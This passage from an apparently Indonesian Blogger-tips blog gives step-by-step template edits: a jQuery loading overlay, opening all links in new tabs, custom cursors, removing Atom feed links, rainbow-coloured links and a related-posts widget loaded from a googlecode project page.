    position:fixed;
    top:0;
    left:0;
    background-color:#000;
    z-index:9999;
    text-align:center;
    width:100%;
    height:100%;
    padding-top:200px;
    font-size:25px;
    color:#fff;
    display:none;
    }
    - Cari kode </head> dan masukan kode ini di atasnya
    <script type='text/javascript'>
    $(function() {
    var siteURL = &quot;http://&quot; + top.location.host.toString();
    var $internalLinks = $(&quot;a[href^=&#39;&quot;+siteURL+&quot;&#39;], a[href^=&#39;/&#39;], a[href^=&#39;./&#39;], a[href^=&#39;../&#39;], a[href^=&#39;#&#39;]&quot;);
    $internalLinks.click(function() {
    $(&#39;#lahzloading&#39;).fadeIn(1500).delay(6000).fadeOut(1000);
    });

    // Hilangkan overlay saat diklik untuk mengatasi gangguan, terutama jika link internal diset dengan target=&#39;_blank&#39;
    $(&#39;#lahzloadingr&#39;).click(function() {
    $(this).hide();
    });
    });
    </script>
    - Lalu masukan Kode Di bawah ini di bawah kode <body>
    <div id='lahzloading'>
    <span style='font-size:50px;font-weight:bold;'>Loading...</span></div>
     - simpan dan lihat hasinya
    Teks yang berwarna bisa di ganti terserah kalian
    Sumber aslinya itu tapi saya edit lagi dikit :)

    Cara membuat semua link di blog membuka tab baru

    langsung saja gak usah basa-basi :

    - masuk ke blogger kalian
    - pergi ke template
    - edit html

    - lalu cari Kode
    <head>
    - lalu letakan kode di bawah ini tepat di bawah kode <head>
    <base target='_blank'/>  
    Sumber : Edinofri.com

    Cara merubah Cursor Blog

    caranya mudah kok untuk merubah cursor blog.

    - klick tataletak
    - tambah gadget
    - html/javascript
    - lalu masukan kode berikut


    <style type="text/css">
    body{cursor: url("URL gambar 1"), auto;}
    body a:hover{cursor: url("URL gambar 2"), auto;}
    </style>
    - lalu simpan


    Penjelasam :
    Gambar1 adalah gambar cursor yang defaultnya
    Gambar 2 adalah gambar cursor yang Menyentuh Url/Link





    Cara mengganti Cursor Blog
    Cara merubah Cursor Blog Cara merubah Cursor Blog
    Cara merubah Cursor Blog Cara mengganti Cursor Blog
    Cara merubah Cursor Blog
    Cara mengganti Cursor Blog
    Cara mengganti Cursor Blog Cara mengganti Cursor Blog Cara mengganti Cursor Blog

    Cara menghilangkan entri atom

    untuk menghilangkan entri atom caranya mudah
    kalian tinggal masuk ke edit html

    lalu cari kode berikut dan hapus
    <div class='feed-links'>
    <data:feedLinksMsg/>
    <b:loop values='data:links' var='f'>
    <a class='feed-link' expr:href='data:f.url' expr:type='data:f.mimeType' target='_blank'><data:f.name/> (<data:f.feedType/>)</a>
    </b:loop>
    </div>
    Selesai deh

    Cara membuat Semua Link/URL berwarna pelangi

    Ok di postingan kali ini saya akan menjelaskan tentang membuat semua link yg ada di blog

    berubah ubah warna seperti pelangi OK langsung praktek :


    - Masuk ke Template

    - Edit HTML

    - Lalu cari Kode


        <head>

    lalu masukan Kode Di bawah ini tepat di bawah kode tadi

        <script src='https://falah-isnan-project.googlecode.com/files/rainbowlink.js'/></script>



     lalu simpan dan lihat hasilnya.

    Membuat Artikel Terkait Di blog

    Ok sekarang saya akan menerangkan tentang cara membuat artikel terkait . Untuk membuat artikel terkait caranya lumayan mudah . artikel terkait akan memudahkan pembaca untuk melihat artikel lainnya di blog kita jadi artikel terkait bermanfaat bagi blog kita, Ok gak usah panjang lebar lagi ,langsung praktek :

    - Login Ke Akun Blogger Kalian
    - Klik Template
    - lalu edit html
    - Tambahkan kode CSS untuk style Artikel Terkaitnya di atas kode </head>
    <style> #related-posts { float : left; width : auto; margin-top:20px; margin-left : 5px; margin-bottom:20px; font : 11px Verdana; margin-bottom:10px; } #related-posts .widget { list-style-type : none; margin : 5px 0 5px 0; padding : 0; } #related-posts .widget h2, #related-posts h2 { font-size : 20px; font-weight : normal; margin : 5px 7px 0; padding : 0 0 5px; } #related-posts a { text-decoration : none; } #related-posts a:hover { text-decoration : none; } #related-posts ul { border : medium none; margin : 10px; padding : 0; } #related-posts ul li { display : block; background : url("https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsAjgP-jCjgR6_4iMPs4STVK37XAekNmdtwPu_bDwE3ApzNqqmNdA9ZqrlRUnr-V1NDeDtX9j-comloP61ftfsPaweHfPw_EVIm2j7pNFTqmTTvgC3GD1wrd42Qjmwx7vNIcmGTjzuFCS_/s1600/rss.png ") no-repeat 0 0; margin : 0; padding-top : 0; padding-right : 0; padding-bottom : 1px; padding-left : 21px; margin-bottom : 5px; line-height : 2em; border-bottom:1px dotted #cccccc; } </style>
    - dan masukan java scriptnya di bawah kode yang di atas
    <script src='https://falah-isnan-project.googlecode.com/files/related-post.js' type='text/javascript'/> 
    - cari kode di bawah ini

    <data:post.body/>
    - Kalau terdapat 2 kode di atas kalian pilih yg paling bawahnya
    - lalu masukan  kode di bawah ini tepat di atas kode yang tadi
    <b:if cond='data:blog.pageType == "item"'> <div id="related-posts"> <font face='Arial' size='3'><b>Post Terkait :</b></font><font color='#FFFFFF'><b:loop values='data:post.labels' var='label'><data:label.name/><b:if cond='data:label.isLast != &quot;true&quot;'>,</b:if><b:if cond='data:blog.pageType == &quot;item&quot;'> <script expr:src='&quot;/feeds/posts/default/-/&quot; + data:label.name + &quot;?alt=json-in-script&amp;callback=related_results_labels&amp;max-results=5&quot;' type='text/javascript'/></b:if></b:loop> </font> <script type='text/javascript'> removeRelatedDuplicates(); printRelatedLabels(); </script> </div></b:if>
    Lalu simpan.